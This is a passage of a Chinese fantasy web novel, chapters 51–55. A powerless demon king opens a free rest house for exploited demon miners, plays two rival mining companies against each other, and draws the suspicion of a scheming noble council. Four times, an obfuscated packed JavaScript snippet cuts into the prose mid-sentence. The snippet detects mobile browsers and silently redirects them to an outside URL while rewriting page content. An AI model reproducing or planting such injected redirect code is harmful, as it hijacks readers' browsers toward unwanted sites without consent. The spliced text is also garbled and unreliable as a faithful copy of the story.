仅仅从这转瞬即逝的气息中，她都能感受到这件魔法道具的制作者究竟有多么深不可测的魔法力量——和绝对王权一样，那是一种超越了任何物理规律和时空法则的力量。 她不能想象，如果妮娜·斯特尔也拥有那种力量的话…… 她知道自己一定是想得太多了。如果妮娜·斯特尔真的拥有力量，贵族院就不可能放任她在人类社会中生活二十二年。 这位魔王太弱小了，她虽然可以通过控制魔法阵来证明其拥有一些类似魔法力量的东西，但那也仅限于传送阵这样的低级魔法阵。 想必贵族院早就知晓这一情况。掌握几乎整个魔族的权能——这样的甜头让他们愿意承担一些必要的风险，而且他们也一定考虑了意外发生时的对策。 “看起来好多了。” 白色“液体”停止流动后，妮娜也紧接着从魔法阵中现身，跟着她来的还有罗德里斯公寓那些好奇的房客们。 恶魔城还没有停止工作，飞快地在这座空空荡荡的厂房中 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12924310|136394||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 构建出规整舒适的内部设计。围观者们都对亲眼目睹的场景啧啧称奇。 “这就是在103室的墙壁上开门的那件魔法道具？”布莱克诚惶诚恐地轻戳了一下维克多的肩膀，“原来那天我看到的情景，只是它真正的魔法中最微不足道的那部分。” 维克多耸了一下肩，表现得有些随意，但表情看上去却像是一个虔诚的信徒，他的视线一直在追随周边空间所发生的变化：“或许你现在看到的这些，也只是它真正力量中的一小部分。” “我不能想象你买下它的时候花了多少钱……我从来没想过魔族中也有富翁。”布莱克显然坚信着自己的这位雇主才是恶魔城的持有人，就像他才是这座新房的背后出资者一样，“你在妮娜身上进行了多少投资？还有……你为什么会选择她呢？” “我可以把自己拥有的全部都押到她身上，”维克多说，“以及，并不是我选择了她。” 布莱克注意到维克多不知何时收回了张望的目光，正若有所思地盯着自己，他还有很多问题要问，但在这种逼视之下只能选择三缄其口。 “斯特尔女士，你打算什么时候开业？”薇薇安凭借柔软的身体顺利挤到房东身边。 “我不确定，也许还要过几天。”妮娜通过一扇窗户眺望着外面的景色，从这里可以看见矿山上那些攒动的人头，还有散布得到处都是的窝棚，“需要住处的人太多了，但这栋建筑的容量有限，我担心会引起争执和动乱。” “不如先把这里打造成提供便利服务的设施，类似于过去的那种‘工人中心’。” “那不就得倒贴钱了？”文森特像是突然从地里钻出来似的出现在两人中间，“斯特尔小姐，我可没把创业大赛这件重要的事情给忘了。” “赫尔马岱的魔族工人根本就没有收入，也就没法给我们带来营业额，这确实是个问题，有什么办法能兼顾为他们改善生活，以及增加我们的筹码呢？”妮娜用右手的手指托着下巴。 文森特脸上的圆片闪烁了一下，“要不要去问问监狱里那位魔女先生？他是一个很有主意的人。” “如果不是他那样讨厌和我碰面，我一定会去问问他的意见。”妮娜说。 她突然想到了一些曾经被忽视的东西——考虑到她是一个魔王，而乌瑟是被贵族院所掌控的魔女，那么他过去待她的那种既刻薄又谨慎的态度便有据可循了，他的瞬间移动也足以得到解释，对她无意识的杀心似乎也有了由来…… 他出手救她，是因为她那一声“救命”起了作用；而他松手，则是因为打心眼里憎恶这个让他身不由己的存在。 “魔女对魔王，究竟是怎么看待的呢？” 在提出这个问题的时候，她的表情显得有些茫然，尽管这个变化微小而短暂，但是站在她身边的魅魔和大巫妖都没有错过，他俩互相看了对方一眼，似乎在权衡利弊。 “这很难一概而论，但我想至少我知道的那位先生其实是不讨厌你的。”文森特说。 薇薇安露出八卦的笑容：“我现在也对你们口中那位魔女先生的事情好奇了起来。” 52. 第 52 章 在完成对分部的初步考察之后，罗德里斯公寓的居民们又像潮水一样纷纷从传送阵退回住处。 妮娜没有急于考虑矿区2005的发展计划，而是将几位一直活跃于乐飞的租客召集到了一起，郑重其事地将“罗德里斯魔法公寓”以及玛丽安娜的课堂笔记托付给了他们。 “……不仅仅是乐飞，你们可以考虑入驻其他社交媒体，这是注册账号时可能会用到的资料。”她将一份纸质文件推到了对面，“这样，你们就是专门负责媒体内容的部门了。205号室既可以用来当摄影棚，也可以当成你们的部门会议室——我知道面积小了一点儿，等我们以后更有钱了，一定会有更好的办公环境……” 文森特的眼睛看上去比平时大了一圈，这应该是他惊讶时的状态。 薇薇安和莉莉则是一副跃跃欲试的样子，拉弗尔也不遑多让。 妮娜继续说了下去：“事实上最近有甲方希望能在我们的新视频里加入广告，开价不高，但也是一笔收入，我想让文森特负责这份工作，剩下的成员进行配合。文森特，你愿意接受这项任务吗？” “乐意之至，斯特尔小姐。”文森特说，“乐意之至，我的陛下。” 妮娜有些头痛地用指关节顶了顶太阳穴：“我一直试图禁用这个称呼。再次重申，这是为了避免不必要的麻烦。对了，这些——” 她从口袋里摸出某样东西，摊在桌面上。 三个护身符。 “据乌鸦说这东西很管用，至少在你们外出的时候那些穿着黑衣服的家伙没法来找你们麻烦。接下来的日子我大半会留在工业区，所以——” “我们会照顾好自己的。”薇薇安激动地收走了属于自己的那一份。 第二天一早，妮娜被一阵急切的敲门声给吵醒了。 今日的行程已经预定，她本就没有赖床的打算，但这位访客显然还是来得太早了。 “出什么事了？”她拉开房门，看见外面站在两条黑乎乎的影子。是半张着黑色翅膀的乌鸦，和被她拎在手里的吸血蝙蝠，“噢，这就是古斯塔夫，你之前没见过他，不过他确实是这儿的住户。” 她以为乌鸦在走廊上见到古斯塔夫的时候不小心将他当成了窃贼。 “我知道，吸血蝙蝠古斯塔夫，臭名昭著的刽子手。”乌鸦恶狠狠地甩了甩手，那只娇小单薄的吸血蝙蝠在她手下晃动起来。 “……你是不是搞错了什么？”妮娜想从乌鸦手中把古斯塔夫给救出来，但这个长着翅膀的姑娘侧了一下身体，用强壮的左翼阻止了她的行动。 “那天你在会议上说起吸血蝙蝠的时候我就开始怀疑了。”乌鸦说，“这东西在现代很少见，我就知道不是巧合。” “还是先把他放开，然后再说说发生了什么吧，没准这里面有什么误会。”妮娜说。 乌鸦猛地松了手，她手中的吸血蝙蝠立刻扇动翅膀，像一只中号垃圾袋一样张皇失措地飞上了楼梯。 魔王意识到自己在不经意间动用了某个可怕的天赋——说实话，当一个强迫者的滋味对她的良心来说并不好受，但事已至此，她决定先听听乌鸦的说辞。 “抱歉……先进屋吧。” “这是乌瑟告诉我的，五年前，有一支年轻魔族组成的反抗军尝试袭击贵族院，结果他们中间出了一个叛徒，在执行刺杀任务的当天杀死了所有同伴，之后那个叛徒一直充当某位贵族的走狗。乌瑟之所以了解这件事，是因为他们姑且算得上半个同僚。” 乌鸦还来不及在妮娜的房间里找个地方坐好，就像被灌了吐真剂一样滔滔不绝地说了起来，“你知道乌瑟是个什么样的人，他不会夸大其词。” “所以古斯塔夫就是那个叛徒？”妮娜盯着乌鸦那对羽毛消退的手臂，“可是五年前，五年前——唔，他还只有十二岁。” 乌鸦对房东这种接近“怜悯”的反应有些不满。 “你该去矿区看看，有多少巨魔在十二岁的时候已经是工地上的熟练工人了。总之，你不能容忍一个那样的家伙住在这儿，我敢保证他是奉了他那位主人的命令来的，这段时间已经不知道向贵族院透露了多少关于这里的秘密。” “比如我们在赫尔马岱的行动吗？”妮娜开始回忆这段时间有没有发生过什么不能让贵族院知道的事情。 除了她已经知道自己的魔王身份之外，她不认为有什么情报是不能让贵族院知晓的。而关于前者，她在古斯塔夫入住之前就已经交代过住户们不要表现出任何异样，依旧只把她当成房东就好。 “我本来就打算等事情有了起色之后，就把在赫尔马岱的事业也加到大赛的履历里。我想贵族院在我身边安插‘眼睛’不过多此一举。” “他手上沾着同伴的鲜血，这一点不可饶恕！”乌鸦怒气冲冲地说道。 相较之下，妮娜显得格外冷静：“七贵族可以像我一样控制各种魔族，只要稍微动动脑筋就能知道，古斯塔夫的‘背叛’肯定是某位贵族的指令。让我想想，血族的领袖，吸血之王——他们当时想要袭击的是吸血之王核心的持有者？” 明明她正是那个可以凭借绝对权力而有恃无恐的人，但她总是显得比那些只能屈服于控制的人更加忌惮这种权能，也更倾向于去理解那种身不由己的困窘。 乌鸦猛地睁大眼睛，接着又皱起眉头，她肩颈连接处因为情绪激动而冒出了几片羽毛，“真是见鬼，他到底想干什么？” 妮娜不确定她话语中的“他”指代的是谁，但还是劝说道：“那些逝去的年轻魔族固然令人惋惜，但古斯塔夫的作为也情有可原。被迫去做违背意志的事情是很痛苦的，更何况那件事情还是……杀害自己志同道合的朋友。” 她好像能够理解古斯塔夫所表现出来的那种怯弱和纠结到底从何而来了，“如果可以的话，我倒是希望他能忘掉那一切。” 一个在十二岁的时候就热切期 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12924311|136394||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 盼自由、不畏惧抗争、将生死置之度外的年轻魔族，当他和同伴们谋划袭击行动时，总要既抱着必死的决心，又怀着初生牛犊不怕虎的浪漫的勇气。 如果那个看上去像过街老鼠般自卑的魔族少年在五年前曾是那样一个勇敢无畏的孩子，看到他现在的样子，就能想象这五年的经历对他来说是怎样的折磨。 “仁慈不是一种好品格，对你这样的存在来说尤其如此。”乌鸦直直地望进她的眼睛，“一个没有力量的魔王，不能染上‘仁慈’这种奢侈的恶习。如果你是一位像恶魔城的创造者一样强大的魔王，我当然就不会多费口舌地对你说这些失礼的话了。” 这次的秘密谈话最终不欢而散。 “我也不想这么弱小……可天知道那原本属于‘魔王’的力量究竟去了哪里。”妮娜坐在地上，背靠着床，双手使劲薅着自己那头乱糟糟的黑发，“难得我都已经接受自己是个魔王的倒霉事实了。” 接着，她决定主动找古斯塔夫谈谈。 吸血蝙蝠的房门紧紧关着，即使把耳朵贴在门上，也听不见里面的任何动静——不怪那对魅魔情侣一直没发现隔壁住了人。 她将一张纸片从门缝里塞了进去，然后悄无声息地下了楼，回房间收拾了东西，穿过楼梯下的传送阵，抵达赫尔马岱的矿区2005号厂房。毕竟这里才是她今天行程的目的地。 妮娜沿着道路和标示将二号矿区的几个工地走了个遍。 这片矿区一共有七个工地，分别属于三个矿业公司。 最小的那家只承包了这儿的一片煤矿——对平民来说，尤其是生活在王都以外地区的那些平民，这种古老资源在他们的生活中依然有着举足轻重的地位。 剩下的六个工地平均地分属另外两家公司，其中包括两座稀土矿，两座贵金属矿和两片星屑矿地。 而这只是二号矿区的内容。赫尔马岱有五个矿区，每一个区域都有不同的主要产出物。很难想象这地方怎么会如此高密度地聚集着这么多重要资源。 一个说法是包括星屑在内，这些资源都是在生命之树的影响下生成或汇合的。 再说回二号矿区中规模较大的两家公司，他们各自的场地刚好分布在矿区2005号所在街道的两侧，大小、产能、排班几乎都在一比一地复刻对方。 听工地上的几个人类工头说，几年前两家公司都想打倒对方，结果陷入过恶性竞争的陷阱，不仅没能分出胜负，反而提前虚耗了双方未来几年的生产潜能，现在两家公司都表现疲软，倒是出人意料地呈现出相安无事、和谐发展的局面。 “现在就看谁先缓过气来了。”煤矿工地的工头颇有隔岸观火的意思，“一旦有一方先恢复元气，肯定会立刻把另一方给吃了。别看现在和和气气的，他们心里都是一样的打算。” 妮娜将这些内容一一记录在册。她想到了如何在为那些魔族工人提供免费服务的同时获得可观的盈利了。 53. 第 53 章 …… 魔王对他的子民具有“鼓舞”的效果。 这是我在和某位魔王打交道时发现的，它并未见于任何已知的典籍或是手册。 在魔王的身边，魔族们总能在干活的时候更加卖力，工作也总会完成得更加出色。我的朋友曾经沉迷的一款游戏里就有功能类似的职业——比方说技能可以提升队友攻击力或防御力之类的。 除此之外，他的存在还能够改变某些种族的食癖，在他身边，血族即使不饮用鲜血也能充满活力，食尸鬼不吃腐肉也能健康强壮…… 这种鼓舞效果在我这个外人眼里相当明显，但是当事人好像完全不知情。可惜没有机会，不然我一定要请他协助我进行一个对照组实验。 ——《勇者笔记·第三卷》 …… 回到矿区2005，妮娜稍微修改了一下房屋的内部格局，增加了卫浴设施，设置了一个医务室，拓展了休息区，并让恶魔城设计了一台饮水设备和食物货架，最后，用卷叶草纸在南面的正门边上张贴了公告： 工人休息处 内有冷热饮用水、方便食物、卫浴和休息设施，欢迎工地工作人员（仅魔族）免费使用。 夜间二楼供应免费住宿（数量有限）。 不出所料，这份字体庞大、位置显眼的墙体广告并没有吸引到工人们的注意，他们更加专心于手头的工作，即使是偶然瞥见这里的，要么是根本不识字，要么怕挨骂而不敢多看。 不过休息处的大门还是在一小时后被敲响了。 “我从刚才开始就一直在关注这里的情况，可以告诉我这到底是什么见鬼的东西吗？”门口站着一名身穿蓝色牛仔布衣、头戴黄色安全帽的人类。 “如您所见，这是一所为工人们提供免费服务的休息处。” “希望这不是爱德维希给我们使绊子的阴招。” 爱德维希是矿区2005北面矿地母公司的名字。 “这么说来您是安卡亚的员工？” “你最好是明知故问……”穿着蓝色牛仔外套的男人摘下了帽子，“我叫安德烈，就像你说的那样，我是安卡亚的职员，负责你眼前的这块矿区，想和你谈谈休息处的使用事宜。” * 亚历山大最近压力不小。公司本部传来消息，安卡亚公司在二号矿区的产值在近两日出现明显增长，而且还有持续增长的势头。 这封邮件几乎触发了他的应激反应——他的身体还记得五年前在与安卡亚的攀比中积蓄起的疲惫感，尽管已经过去了五年，但这种疲惫由于最后那个双输的局面而一直残留在他的体内。 他希望目前的和平态势能够保持下去——至少在他被调离这里之前。 而这封邮件则无情地打碎了他的幻想。 绝对不能让安卡亚出现明显的优势，这可是当初上头给他下的死命令。 现在，对面的那片矿地出现了明显的产能提升，这意味着他也必须尽快让自己手下工人的产出提升到那种水平，否则就意味着他在苟延残喘五年之后，终究还是在那场没有硝烟的战争中成为了败者。 他打开电脑上的工作安排表，将白班的工作时间前后延长了一个钟头，又在工人名单中挑选效率低下的那些，打算提早将他们送去给魔法机械供能。 他知道这不是长久之计，但也没有更好的办法，他寄希望于安卡亚也是通过这种无法可持续发展的方法获得了暂时的产能提升，而不是真的发现了什么开创性的妙方，否则他真的会一败涂地。 新的工作计划短暂地让他负责的工地产出赶上了对面的，但是对面的增长态势还没有停止，而他这边已经出现后继无力的苗头。 “部长，我去调查过了，对面非但没有延长工作时间，反而增加了一个钟头的午休。”派出去的调查员带回来了令人吃惊的消息。 “这怎么可能？！” “问题就在于这个午休——”调查员指了指横在对面那条街上的某栋建筑物，“最近来了一个恩斯法内的大学生，在那儿搞了一个工人休息处——完全免费的——据我观察，在那里呆过的工人，一个个看起来都可有干劲了呢——这就是他们产能提升的秘密！” 亚历山大望着那栋背对着工地的建筑，先是露出若有所思的表情，接着，那表情逐渐变得咬牙切齿起来：“总不能让爱德华那小子一个人占了便宜，我得去看看，那到底是个什么好地方！” 休息处的工作并不简单。 虽然恶魔城可以通过不知何种方法实现房屋内部的供水供电，也可以生产出仅限房屋内部使用的各种最先进的家用电器，但食物、家化、床上用品等则是另一回事。 妮娜每天都要在王都和赫尔马岱之间往返好几次，期间还包含采购、运输、沟通等工作——这些事情还必须在暗中进行，不能被那些进入设施休息的工人们发现。 到了晚上，登记住宿者、分配房间、调剂住宿用品也够她忙碌一阵子了。 除此之外，偶尔她还会呆在公共休息区，充当那些工人们的倾听者。在此之前，她很难想象这些在生活中毫无任何趣味和希望可言的魔族工人们也有这么多话需要向人倾诉。 她知道这是一种偏见，但还是惊讶于这些工人并非只是在工地上日复一日重复麻木劳动的工业零件。 你都不知道从来没有离开过赫尔马岱、甚至没有离开过工地的这些人是从哪里得到关于外面世界的情报以及那些虚无缥缈的希望的。 “再过七年我还没有被送去当燃料的话，我就可以选择去路了。我想去坎塔尼亚的乡下生活。你问坎塔尼亚是哪里？那是上一次全国各项数据调查里人口密度最低的城镇，没有人，没有矿山，没有工厂，什么都没有——我觉得那样最好。” “和我一起来到工地的兄弟们已经死了一半，大多数是在还没成年的时候死去的。过劳死？也许吧。我们的体能确实比人类强上不少，但是在十五岁以前往往还是很脆弱的。从根本 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12924312|136394||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上来说，那些兄弟是累死的，这没错，不过我知道，工头会在他们还剩最后一口气的时候把他们送到供能厂去，有一个词叫‘物尽其用’，说的就是这样吧……” “工头？我没什么可说的，人类不都是那副德行——噢，小姐，我绝对没有不敬重您的意思，您是我见过的人类中最可爱、最高尚的，您和那些人显然不一样，我几乎要把您当成自己人了。您别生气，您别生气，瞧我都说了些什么。说回工头，他至少有一点是好的——他会充分利用那些早死的工人们，让他们的最后一口气在能量炉里发光发热，这让我们省下了很多弟兄。” “……死亡率很高，每天都有死者出现，有的是身体受不了了，有的是被送去了供能厂。但工地上的人口一直很稳定，因为生命之树的‘产量’很高，死亡和出生基本能够持平，每天都会有新人补充进来。” “死灵不用吃饭，而且不会累死，听起来像是天选的牛马不是？但是我们力气太小了，能干的力气活有限，通常被安排去辅佐那些大个子。人类不会觉得我们多余，毕竟我们不会消耗他们的粮食，他们也不用付我们工钱。” “这是命运，我们没法反抗。不过我最近总有一种强烈的预感，这种日子马上就要结束了。你一定觉得我在说疯话吧？我也觉得很不可思议，这压根儿就不可能。但那种直觉真的很强烈。” “……你的预感在过去灵验过吗？” “唔，从来没有。哈哈哈哈！” “这次说不定会成真的，因为我也有这种预感。” “那你的预感灵验吗？” “不，事与愿违对我来说已经是人生的常态了。” “那完蛋了！我果然又在白日做梦！你怎么说这次能成真呢？” “不是有个词叫负负得正嘛，两个预感不准的家伙都出现了同样的预感，这说不定就是梦想成真的征兆。” “哈哈哈哈哈哈哈哈哈哈，承你的好话了。今天真是快活。我这辈子都没这么快活过。” “希望有一天，快乐能成为你的人生常态。” 结束最后一波谈话的时候，夜已经很深了。死灵不需要睡觉，尤其是骷髅，他们甚至不会产生“疲惫”这种感觉，所以他们会主动让那些显然更加辛苦的工友们排在前面，以让他们能够早点睡觉。 至于妮娜，她在大学的三年多里早就习惯了熬夜这件事，她脸上常年挥之不去的黑眼圈已经成了她勤奋努力的徽章。深夜谈话这种只需要安静聆听而无需动脑的活动对她来说已经是很好的休息了。 只不过这些工人们总是喜欢用非常轻松诙谐的口吻说一些十分沉重的话。 看着今夜招待的最后一位骷髅的身影消失在楼梯的拐角，妮娜起身去关了公共休息区的照明，只留下一簇幽暗的小夜灯，然后回到两用沙发上，身子一歪就陷在里面呼呼大睡起来。 第二天醒来的时候，她发现身上不知被谁盖了一床毯子——还是她在罗德里斯公寓用的那一床。 54. 第 54 章 眼下时间还早。 二楼完全没有动静。并非因为那些借宿者还处于沉睡之中，而是他们早就已经起床干活去了。 妮娜简单地洗漱了一番，准备清点一下食品和各类用品的库存，然后回王都进货。 尽管买的都是些便宜可靠的东西，但几日下来也是一笔不小的开销。 差不多该到收回成本的时候了，然而计划中的那个人还没找上门来，这难免让她产生焦虑。好在运营社交账号的收入还够维持一阵子。 就在这时候，矿区2005的大门被敲响了。 “是斯特尔小姐吧？我叫亚历山大·庇李希。”站在门外那个打扮得像个业务员似的男人从皮夹里抽出一张名片，递到业主跟前，“我负责二号矿区北面那片矿场的全权管理。” 妮娜暗自松了一口气，装作不以为意地接过名片，“我是妮娜·斯特尔，休息处的主理人，我想庇李希先生一定是来和我洽谈有关工人福利事宜的吧？” “工人福利”这个说法让亚历山大很不习惯，不过他还是理解了这个词的意思，并且认为这与他想要谈论的主题基本一致，于是点了点头：“正是如此。” 他被请进了休息处里一间用金属铭牌印着“会谈室”的房间。房间只有五平米那么大，还被一张桌子占去了很多空间，桌子上摆着一壶茶，看上去不是新鲜的，但这里的主人毫不介意地为他和自己各倒了一杯。 亚历山大将茶杯搁置一旁：“听说最近安卡亚的工人经常拜访这里。” “他们非常乐于利用这里的设施。” “这么说来……我们的工人也能享受到这里的，我是说，呃——福利？” “当然，我很欢迎。看到那些终日操劳的工人们能打起精神，实在是一件鼓舞人心的事，你说是不是？” “当然。”亚历山大此言绝非无心之语，他想到若是自己工地上的魔物们能打起一百二十分的劲儿来干活，那反超安卡亚在本地的业绩也就不是异想天开的事，“所以我想与您谈一份生意。” “洗耳恭听。” 亚历山大立刻从公文包里拿出早就准备好的合同草拟件，“是这样的，我想出钱租赁休息处的使用权。” “这没问题，毕竟这里的各项耗材也是一笔不小的开支，虽然是免费项目，我很愿意接受客户在资金上的援助。” “这不是援助，不是捐款，我在向您购买一份具有排外性的使用权。”亚历山大用手指出了合同条款中的一项重要内容，“如果您答应合作，就要终止对安卡亚工地的开放。” 女大学生安静了片刻，低下眼睛注视着紧紧压在纸张的那根手指——至少亚历山大相信她看的是自己的指尖，但他不知道她在犹豫什么。 他可是出了钱的，总不能再放任那些“免费用户”进来，不然他这钱花的就没意思了。 “你想——”女大学生开口了，“我并没有阻止过爱德维希工地对休息处的使用，只是你从未允许你的工人过来。我已经开业好几天了，和安卡亚的工人们建立了感情，突然将他们拦在门外，这不太好吧……” “您哪用得着考虑魔物们是怎么想的。” “我就是一个非常介意别人眼光的人，即使那个‘别人’是魔族。” “这么说您是打算拒绝这份‘资金援助’吗？您是在校大学生，正在参加创业比赛，如果不能拿到相应的名次，不仅会在不久的将来成为无业游民，就连好不容易为之操心四年的毕业证也会打了水漂。您怎么敢拒绝这样一份——相当不错的营收？” “你调查得还挺仔细。”女大学生挑了一下眉毛，“但我想你的境遇比我窘迫多了。我对赫尔马岱的项目有自己的规划，盈利也不急于一时。现在就业环境不佳，但我终究是恩斯法内的应届生。” “——而你就不一样了，亚历山大·庇李希先生。” 亚历山大怔住了，他没想到对方竟拿捏着他的死穴——她知道他是爱德维希的弃子。 他们的博弈发生在碰面之前，而他的底牌比她的小。 只要他出现在正对着安卡亚工地的这家休息处的门口，就已经宣告了落败。 他缓了好一会儿，才问：“那你想怎么样？” 他知道，不管对方还有什么条件，他都只能硬着头皮接受了。 * 矿区2005的大门朝向在一夜之间就调了个头，从面南开门变成了面北。 亚历山大不知道那个女大学生是怎么做到的，但这种结果比他预想的还要令人满意，他一想到安德烈在来到工地后发现休息处的大门不翼而飞时的惊愕表情，就觉得连日来累积的压力瞬间消失了。 再想到爱德维希工地也将获得安卡亚此前那令人艳羡的产值增长，他的心情当然变得更加愉快。 交给妮娜·斯特尔的租赁费不是一笔小数目，比他最初在合同上拟定的价格要高很多，公司上层对此颇有微词，但只要和它能够带来的预期收益做个比较，就能知道这绝对是笔划算的生意。 出身经济学院的女大学生给他看了根据安卡亚矿场近日表现计算出的预期效益，以及估算了在失去休息处使用权后由于“士气值”的下降和“心理落差”的扩大而导致的产值下降幅度，那个数字绝对激动人心。 因为亚历山大在对其登门拜访之前就已经连夜进行了前一项计算，而妮娜给出的数字与他自己的计算结果基本吻合，这就让他对她的第二项估计结果也深信不疑，更何况她身上还有“恩斯法内经济学院”这样令人信服的背书。 而事实证明，他冒着风险作出的绝对物超所值，爱德维希工地的工人们在获得休息处使用权后的第三天，就将原本的工地产值翻了个倍——这种事情放在过去是他连做梦的时候都想 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12924313|136394||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不到的。 堪称奇迹。 * 贵族院，圆桌会议室。 布劳斯指着屏幕上的那条曲线，用一种充满怀疑的眼神扫视着环桌而坐的六个同僚：“我想距离我们开始行动已经过去一段时间了，但我们并未得到预计的那个结果。目前的数字离我们计划的目标还差得很远。我想应该有人要对此作出解释。” 兰登嗅到了空气中的火药味，有些坐立不安，她赶紧说道：“经济本来就不是我们能够随意控制的东西，更何况是这种关系到不少行业底层能源的重要物资，‘不能获得预期效果’这个结果本就应该在我们的预计之中。” “不能因为习惯于行使‘控制权’，就觉得世界上的一切都能被掌控了，”阿斯代伦用一种讥诮的语气说道，“对吧？” 布劳斯的目光立刻射到了他的身上：“你派出去的那只小蝙蝠呢，他有多久没给你传递过新消息了？” “你最好改一改这种立刻转移关注点的习惯，我先回答你的前一个问题吧——”阿斯代伦动了动手指，调出了另一张数据图。 “在我们放出唱衰星屑的内部消息之后，不少富商和工厂主都开始抛售手里的存货，星屑的价格在短期内就被拉下了15%，这反而导致了民间一些不明所以的投机者动起了抄底的念头。你知道的，现在就业不景气，很多人都索性指望着靠金融运作、投机倒把来赚钱了。” 布劳斯翻了一个白眼：“我只知道买涨不买跌，等‘内部消息’扩散到民间，那些该死的投机者难道没有慌不择路地赶紧丢掉这个烫手山芋吗？没有人蠢到等这玩意儿跌到谷底了再出手吧？” 阿斯代伦用光标强调了曲线图中处于最低位置的那个点：“其实星屑的价格在极短的时间段内已经接近了我们设定的那个购入价。”他又拉出了另一张数据图表：“就在那个时间点上，很多伺机而动的散户开始购买星屑，每个人的购买数量都很少，但购买者的数量非常庞大，而且……大多数购买是在线下的矿店而非交易所里进行的。” 蒂德莉一下子就想到了什么：“买家是魔族？” 昏昏欲睡的韦斯特尔终于抬起了眼皮，看了大屏幕一眼，又斜眼看向自己的邻座：“那些东西可没闲钱去玩这种中产的赌博游戏，就算那些诡异的购买者真的是魔族，他们哪来这么好的‘战略眼光’？” 阿斯代伦替蒂德莉答道：“他们可不是为了赌博，也不是什么战略投资——哦，在某种程度上也可以说是。” “别卖关子。” “那些星屑一旦进到他们的兜里，恐怕就再也不会流回市场了。我这么说你能懂吗？”阿斯代伦笑了一下，“他们的生活没太多指望，但他们的血脉里流淌着永远不会干涸的信仰——只要那棵树还活着。” “这是一种信仰收藏，或者说信仰投资。”蒂德莉若有所思地说道。 55. 第 55 章 韦斯特尔思考片刻，晃了晃他那根冒着黑烟的手指：“星屑流入了魔物手里？这不正方便我们行事吗？我们没法向富商和工厂主们强制征收物资，但对魔物下手就不用瞻前顾后和心慈手软了。我们甚至可以完全不花一分钱地得到那些星屑。” 波诺目不转睛地盯着自己的电脑，一直保持着一言不发的状态，却在此时突然横插一嘴：“东西不在他们自己手上。” “你说什么？”除了阿斯代伦之外，所有人的目光都集中到了他的身上。 “他们早就看透了我们的厚颜无耻。他们知道自己保不住那些东西，所以把它们存进了银行。” “那我们可以直接洗劫他们的账户。”布劳斯说。 “你觉得他们会蠢到把东西存到人类的银行里吗？他们有自己的渠道。”波诺说。 贝尔霍特笑出了声：“别告诉我他们背着我们创建了自己的银行？这不可能，他们没那个条件，你读过一点书的话，就应该知道银行是基于什么才能成立并运作的。” “本金和信用吗？”波诺的表情看起来很认真，“可是你要知道，他们把那个机构称作树根。” 兰登眨了眨眼睛：“生命之树的根吗？” “他们不可能具备成立金融机构的条件，就算那真是一个银行，恐怕也只是一个空中楼阁。”韦斯特尔显得很冷静。 蒂德莉也显得很冷静，但说出的话却令其他人大吃一惊：“银行需要信用——这只是人类社会的经济理论罢了。你们应该知道，很多人类的社会理论在魔界是行不通的，光是‘绝对权力’和‘至上魔力’的存在，就让我们无法将魔王和任何一个人类国王进行简单类比，也让我们无法用人类社会的理论来推演魔界的运行法则。” “所以，你想表达什么呢？”兰登皱了皱眉。她对蒂德莉这种不可思议的镇定感到陌生。 “这也只是我的一种猜测，树根的建立依据不是信用或信誉，而是……信仰。”蒂德莉说。 “以信仰为名的敛财？那不是欺诈吗？”布劳斯说。 “和旧帝国那些不知真伪的信仰不同，和我们自作主张捏造的七圣灵信仰不同，生命之树的力量是真实存在的，魔王的绝对权力也是真实存在的，相应的，对它们的信仰甚至比人类社会的‘信用’更加稳固。”蒂德莉补充道。 这番言论让会议室陷入了短暂的沉默。 魔界已经重新迎来了一位年轻的、活着的魔王。 两百多年对魔族的绝对控制让人类贵族们低估了这个事实对他们的不利之处。 气氛再次活跃起来，是在布劳斯将矛头直指阿斯代伦的时候：“之前是那个没用的魔女，现在又是那只吸血蝙蝠——你最好赶紧让那家伙做点什么。你不会想召开一次审判会议，让我们这些人来审判你的立场吧？你最近的表现简直像一个人类的叛徒。” 兰登把眉头皱得更紧了。蒂德莉担心地看了一眼被指名道姓的同僚。 成为众矢之的的阿斯代伦并未显露出半分慌张，“你想让他在魔王面前做什么？”他说。 有几个人的脸色变了几变。 “你的意思是——”兰登小心地问道。 